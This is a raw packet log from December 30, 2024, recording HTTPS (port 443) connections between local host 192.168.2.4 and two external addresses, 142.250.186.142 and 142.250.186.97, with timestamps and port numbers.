Dec 30, 2024 11:37:33.611465931 CET	50486	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:33.611465931 CET	50486	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:33.611485958 CET	50486	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:33.611498117 CET	443	50486	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:33.611521006 CET	50489	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:33.611522913 CET	50486	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:33.611540079 CET	50486	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:33.612505913 CET	50490	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:33.612564087 CET	443	50490	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:33.612632036 CET	50490	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:33.612838030 CET	50490	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:33.612852097 CET	443	50490	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:33.612967014 CET	50489	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:33.612967014 CET	50489	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:33.613012075 CET	443	50489	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:33.613243103 CET	50489	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:33.613567114 CET	50491	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:33.613619089 CET	443	50491	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:33.613764048 CET	50491	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:33.614274025 CET	50491	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:33.614305973 CET	443	50491	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:33.669452906 CET	443	50487	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:33.669514894 CET	443	50487	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:33.669524908 CET	50487	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:33.669559002 CET	443	50487	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:33.669578075 CET	50487	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:33.669593096 CET	50487	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:33.669598103 CET	443	50487	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:33.669629097 CET	50487	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:33.669635057 CET	443	50487	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:33.669645071 CET	443	50487	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:33.669677019 CET	50487	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:33.670300961 CET	50487	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:33.670326948 CET	443	50487	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:33.670833111 CET	443	50488	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:33.670888901 CET	443	50488	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:33.670902014 CET	50488	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:33.670928001 CET	443	50488	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:33.670945883 CET	50488	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:33.670972109 CET	50488	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:33.670978069 CET	443	50488	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:33.670996904 CET	443	50488	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:33.671011925 CET	50488	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:33.671026945 CET	50488	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:33.671408892 CET	50492	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:33.671448946 CET	443	50492	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:33.671782017 CET	50488	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:33.671793938 CET	443	50488	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:33.671819925 CET	50492	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:33.672065020 CET	50492	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:33.672076941 CET	443	50492	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:33.672223091 CET	50493	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:33.672255039 CET	443	50493	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:33.672307968 CET	50493	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:33.672471046 CET	50493	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:33.672482014 CET	443	50493	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:34.288284063 CET	443	50491	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:34.288454056 CET	50491	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:34.288523912 CET	443	50490	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:34.288577080 CET	50490	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:34.289036989 CET	50491	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:34.289050102 CET	50490	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:34.289062023 CET	443	50490	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:34.289068937 CET	443	50491	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:34.290210009 CET	443	50492	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:34.290263891 CET	50492	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:34.290769100 CET	50490	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:34.290779114 CET	443	50490	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:34.291219950 CET	50491	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:34.291239977 CET	443	50491	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:34.291349888 CET	50492	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:34.291359901 CET	443	50492	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:34.291431904 CET	50492	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:34.291436911 CET	443	50492	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:34.299770117 CET	443	50493	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:34.300035954 CET	50493	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:34.301477909 CET	50493	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:34.301485062 CET	443	50493	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:34.301878929 CET	50493	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:34.301884890 CET	443	50493	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:34.653561115 CET	443	50491	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:34.653687954 CET	50491	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:34.654341936 CET	50491	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:34.654345989 CET	50495	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:34.654386044 CET	443	50491	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:34.654397011 CET	443	50495	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:34.654449940 CET	50491	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:34.654663086 CET	50495	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:34.654663086 CET	50495	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:34.654704094 CET	443	50495	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:34.664251089 CET	443	50490	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:34.664330006 CET	50490	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:34.664351940 CET	443	50490	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:34.665225983 CET	443	50490	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:34.666575909 CET	50490	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:34.666847944 CET	50490	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:34.666867018 CET	443	50490	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:34.667567968 CET	50496	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:34.667622089 CET	443	50496	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:34.671559095 CET	50496	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:34.671777964 CET	50496	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:34.671793938 CET	443	50496	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:34.702210903 CET	443	50492	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:34.702276945 CET	443	50492	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:34.702332973 CET	50492	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:34.702356100 CET	443	50492	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:34.702411890 CET	443	50492	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:34.702645063 CET	50492	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:34.703419924 CET	50492	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:34.703447104 CET	443	50492	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:34.704627037 CET	50497	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:34.704660892 CET	443	50497	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:34.707226038 CET	50497	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:34.707226038 CET	50497	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:34.707258940 CET	443	50497	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:34.865377903 CET	443	50493	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:34.865423918 CET	443	50493	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:34.865510941 CET	50493	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:34.865525007 CET	443	50493	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:34.865537882 CET	443	50493	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:34.865686893 CET	50493	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:34.866355896 CET	50493	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:34.866383076 CET	443	50493	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:34.866828918 CET	50498	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:34.866878033 CET	443	50498	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:34.867034912 CET	50498	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:34.867166996 CET	50498	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:34.867178917 CET	443	50498	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:35.256206036 CET	443	50495	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:35.256341934 CET	50495	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:35.256966114 CET	443	50495	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:35.257028103 CET	50495	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:35.260309935 CET	50495	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:35.260320902 CET	443	50495	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:35.260720968 CET	443	50495	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:35.260828018 CET	50495	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:35.261241913 CET	50495	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:35.268848896 CET	443	50496	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:35.268954039 CET	50496	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:35.269639969 CET	443	50496	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:35.269718885 CET	50496	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:35.271373034 CET	50496	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:35.271384001 CET	443	50496	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:35.271634102 CET	443	50496	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:35.271694899 CET	50496	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:35.272176027 CET	50496	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:35.307346106 CET	443	50495	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:35.315335989 CET	443	50496	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:35.319881916 CET	443	50497	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:35.320492029 CET	50497	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:35.340929031 CET	50497	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:35.340945005 CET	443	50497	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:35.342580080 CET	50497	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:35.342590094 CET	443	50497	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:35.478806973 CET	443	50498	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:35.478940010 CET	50498	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:35.479491949 CET	50498	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:35.479501963 CET	443	50498	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:35.479758024 CET	50498	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:35.479768038 CET	443	50498	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:35.621501923 CET	443	50495	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:35.621562004 CET	50495	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:35.621582985 CET	443	50495	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:35.621620893 CET	50495	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:35.621928930 CET	50495	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:35.621965885 CET	443	50495	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:35.622138023 CET	443	50495	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:35.622189045 CET	50495	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:35.622206926 CET	50495	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:35.622507095 CET	50501	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:35.622555017 CET	443	50501	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:35.622677088 CET	50501	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:35.623104095 CET	50501	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:35.623116016 CET	443	50501	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:35.639633894 CET	443	50496	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:35.639698029 CET	50496	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:35.639724970 CET	443	50496	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:35.639767885 CET	50496	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:35.639841080 CET	50496	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:35.639889956 CET	443	50496	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:35.639947891 CET	50496	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:35.640546083 CET	50502	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:35.640592098 CET	443	50502	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:35.640705109 CET	50502	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:35.641078949 CET	50502	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:35.641093016 CET	443	50502	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:35.731267929 CET	443	50497	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:35.731322050 CET	443	50497	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:35.731359005 CET	50497	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:35.731373072 CET	443	50497	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:35.731391907 CET	50497	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:35.731439114 CET	50497	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:35.731443882 CET	443	50497	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:35.731452942 CET	443	50497	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:35.731494904 CET	50497	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:35.731494904 CET	50497	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:35.732115030 CET	50497	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:35.732131004 CET	443	50497	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:35.732903957 CET	50503	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:35.732954025 CET	443	50503	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:35.733175039 CET	50503	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:35.733401060 CET	50503	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:35.733413935 CET	443	50503	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:35.886210918 CET	443	50498	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:35.886260986 CET	443	50498	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:35.886320114 CET	50498	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:35.886320114 CET	50498	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:35.886339903 CET	443	50498	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:35.886396885 CET	443	50498	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:35.886451006 CET	50498	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:35.888150930 CET	50498	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:35.888181925 CET	443	50498	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:35.889111042 CET	50504	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:35.889156103 CET	443	50504	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:35.889287949 CET	50504	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:35.889494896 CET	50504	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:35.889508963 CET	443	50504	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:36.227492094 CET	443	50501	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:36.227579117 CET	50501	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:36.228252888 CET	443	50501	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:36.228313923 CET	50501	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:36.241045952 CET	443	50502	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:36.241131067 CET	50502	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:36.241852999 CET	443	50502	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:36.241908073 CET	50502	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:36.332979918 CET	443	50503	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:36.333920002 CET	50503	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:36.401232958 CET	50501	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:36.401261091 CET	443	50501	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:36.401613951 CET	443	50501	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:36.401770115 CET	50501	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:36.402676105 CET	50501	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:36.447335005 CET	443	50501	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:36.489645958 CET	443	50504	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:36.492566109 CET	50504	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:36.566431999 CET	50502	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:36.566459894 CET	443	50502	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:36.566844940 CET	443	50502	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:36.566915989 CET	50502	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:36.574960947 CET	50502	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:36.615356922 CET	443	50502	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:36.686896086 CET	443	50501	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:36.688077927 CET	443	50501	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:36.688172102 CET	50501	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:36.772042990 CET	50503	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:36.772136927 CET	443	50503	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:36.772195101 CET	50503	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:36.772880077 CET	50504	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:36.772981882 CET	443	50504	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:36.773092031 CET	50504	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:36.788332939 CET	50501	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:36.788360119 CET	443	50501	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:36.788866997 CET	50505	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:36.788952112 CET	443	50505	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:36.789047003 CET	50505	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:36.789130926 CET	50506	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:36.789170980 CET	443	50506	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:36.789282084 CET	50506	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:36.789472103 CET	50506	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:36.789478064 CET	443	50506	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:36.789479971 CET	50505	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:36.789515972 CET	443	50505	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:36.871670008 CET	443	50502	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:36.871727943 CET	50502	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:36.871752977 CET	443	50502	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:36.871790886 CET	50502	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:36.872010946 CET	50502	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:36.872050047 CET	443	50502	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:36.872212887 CET	50502	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:36.872658014 CET	50507	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:36.872692108 CET	443	50507	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:36.872757912 CET	50507	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:36.872862101 CET	50508	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:36.872889996 CET	443	50508	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:36.872947931 CET	50508	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:36.872987032 CET	50507	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:36.872999907 CET	443	50507	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:36.873353004 CET	50508	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:36.873370886 CET	443	50508	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:37.401786089 CET	443	50506	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:37.401859999 CET	50506	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:37.402549028 CET	443	50506	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:37.402597904 CET	50506	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:37.404269934 CET	50506	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:37.404282093 CET	443	50506	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:37.404529095 CET	443	50506	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:37.404588938 CET	50506	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:37.405081034 CET	50506	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:37.411456108 CET	443	50505	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:37.411515951 CET	50505	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:37.418287992 CET	50505	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:37.418306112 CET	443	50505	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:37.418649912 CET	443	50505	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:37.418699026 CET	50505	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:37.419061899 CET	50505	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:37.447325945 CET	443	50506	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:37.459341049 CET	443	50505	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:37.475560904 CET	443	50508	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:37.475636959 CET	50508	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:37.476433039 CET	443	50508	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:37.476476908 CET	50508	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:37.480854034 CET	50508	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:37.480865002 CET	443	50508	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:37.481112957 CET	443	50508	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:37.481169939 CET	50508	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:37.481537104 CET	50508	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:37.493422031 CET	443	50507	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:37.493508101 CET	50507	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:37.495161057 CET	50507	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:37.495174885 CET	443	50507	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:37.495448112 CET	443	50507	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:37.495500088 CET	50507	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:37.495881081 CET	50507	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:37.527324915 CET	443	50508	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:37.543335915 CET	443	50507	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:37.774828911 CET	443	50506	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:37.774884939 CET	50506	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:37.775038958 CET	50506	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:37.775084019 CET	443	50506	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:37.775150061 CET	50506	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:37.775971889 CET	50509	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:37.776014090 CET	443	50509	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:37.776093960 CET	50509	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:37.776797056 CET	50509	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:37.776812077 CET	443	50509	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:37.815731049 CET	443	50505	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:37.815792084 CET	443	50505	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:37.815820932 CET	50505	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:37.815850019 CET	443	50505	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:37.815865040 CET	50505	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:37.815886974 CET	50505	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:37.815891027 CET	443	50505	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:37.815924883 CET	443	50505	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:37.815932035 CET	50505	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:37.815960884 CET	50505	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:37.824594021 CET	50505	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:37.824623108 CET	443	50505	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:37.825197935 CET	50511	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:37.825241089 CET	443	50511	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:37.825676918 CET	50511	443	192.168.2.4	142.250.186.97
